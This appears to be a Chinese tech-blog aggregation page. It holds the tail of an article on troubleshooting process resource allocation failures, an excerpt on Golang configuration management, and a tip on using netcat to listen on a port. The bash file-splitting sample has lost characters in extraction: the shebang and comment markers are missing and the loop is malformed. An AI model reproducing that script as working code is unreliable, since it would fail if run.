保存后,重启系统或重新登录即可生效。 4.2 优化脚本逻辑 如果是脚本本身的问题,比如请求了过多的资源,那么就需要优化脚本逻辑了。比如,将大文件分块处理,而不是一次性加载整个文件到内存中。 bash !/bin/bash split -l 1000 large_file.txt part_ for file in part_ do 对每个小文件进行处理 echo "Processing $file" done 这段脚本将大文件分割成多个小文件,然后逐个处理,避免了内存溢出的风险。 4.3 检查硬件状态 最后,别忘了检查一下硬件的状态。有时候,内存不足可能是由于物理内存条损坏或容量不足造成的。可以用 free 命令查看当前的内存使用情况: bash $ free -h 如果发现内存确实不足,考虑升级硬件或者清理不必要的进程。 --- 5. 总结 与错误共舞 通过今天的讨论,希望大家对进程资源分配日志 Failed process resource allocation logging 有了更深入的理解。说实话,遇到这种问题确实挺让人抓狂的,但别慌!只要你搞清楚该怎么一步步排查、怎么解决,慢慢就成高手了,啥问题都难不倒你。 记住,技术的世界就像一场冒险,遇到问题并不可怕,可怕的是放弃探索。所以,下次再遇到类似的日志时,不妨静下心来,一步步分析,相信你也能找到解决问题的办法! 好了,今天的分享就到这里啦。如果你还有其他疑问,欢迎随时来找我交流哦!😄 --- 希望这篇文章对你有所帮助!如果有任何补充或建议,也欢迎留言告诉我。
2025-05-10 15:50:56
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翡翠梦境
Golang
...临诸多挑战,比如配置文件的频繁变更、版本控制的困难、以及多环境部署的复杂性。本文将探讨在Golang生态下,如何采用现代配置管理实践,以适应快速发展的技术趋势和业务需求。 一、动态配置与云原生应用 在云原生时代,动态配置管理变得至关重要。云平台提供了丰富的服务,如配置管理、密钥管理、服务发现等,这些服务支持在运行时更新配置,无需重启服务即可生效。Golang生态系统中,可以通过集成这些云服务来实现动态配置管理。例如,使用Kubernetes的ConfigMap或Secrets功能,可以在不修改代码的情况下,轻松调整服务配置,满足不同环境和阶段的需求。 二、微服务间的配置协调 在微服务架构中,服务间依赖的配置往往需要统一管理和协调。传统的方法可能涉及硬编码配置或通过共享数据库存储配置,这不仅增加了维护成本,还可能导致数据同步问题。借助现代配置管理工具,如Consul、Etcd或Vault,可以实现服务之间的配置共享和安全存储。这些工具提供了强大的API和丰富的客户端库,使得在Golang项目中集成配置管理变得更加便捷和高效。 三、DevOps与自动化测试 DevOps实践强调自动化和持续交付,这对配置管理提出了更高要求。在Golang项目中,可以结合CI/CD工具链,如Jenkins、GitLab CI或GitHub Actions,实现配置文件的自动化管理。通过编写脚本或使用特定的配置管理工具,可以在每次代码提交后自动触发配置更新过程,确保生产环境与开发环境的配置一致性。此外,引入自动化测试,特别是针对配置文件的测试,可以帮助检测配置错误,提前发现潜在问题,减少上线风险。 四、未来展望 随着技术的不断演进,Golang生态下的配置管理实践也将不断发展。未来,我们可以期待更智能的配置管理系统,能够自动检测配置冲突、预测配置变更影响,甚至通过机器学习算法优化配置性能。同时,跨平台和跨语言的配置管理工具将进一步增强Golang与其他技术栈的互操作性,促进更广泛的生态系统集成和协作。 总之,Golang生态下的现代配置管理实践不仅关乎技术细节,更是企业级应用架构设计和运维策略的重要组成部分。通过采用先进的配置管理工具和技术,可以有效提升应用的可维护性、可靠性和响应速度,助力企业在竞争激烈的市场环境中保持竞争优势。
2024-08-22 15:58:15
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落叶归根
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随机学习一条linux命令:
netcat (nc) -l -p port_number
- 监听指定端口以接收数据。
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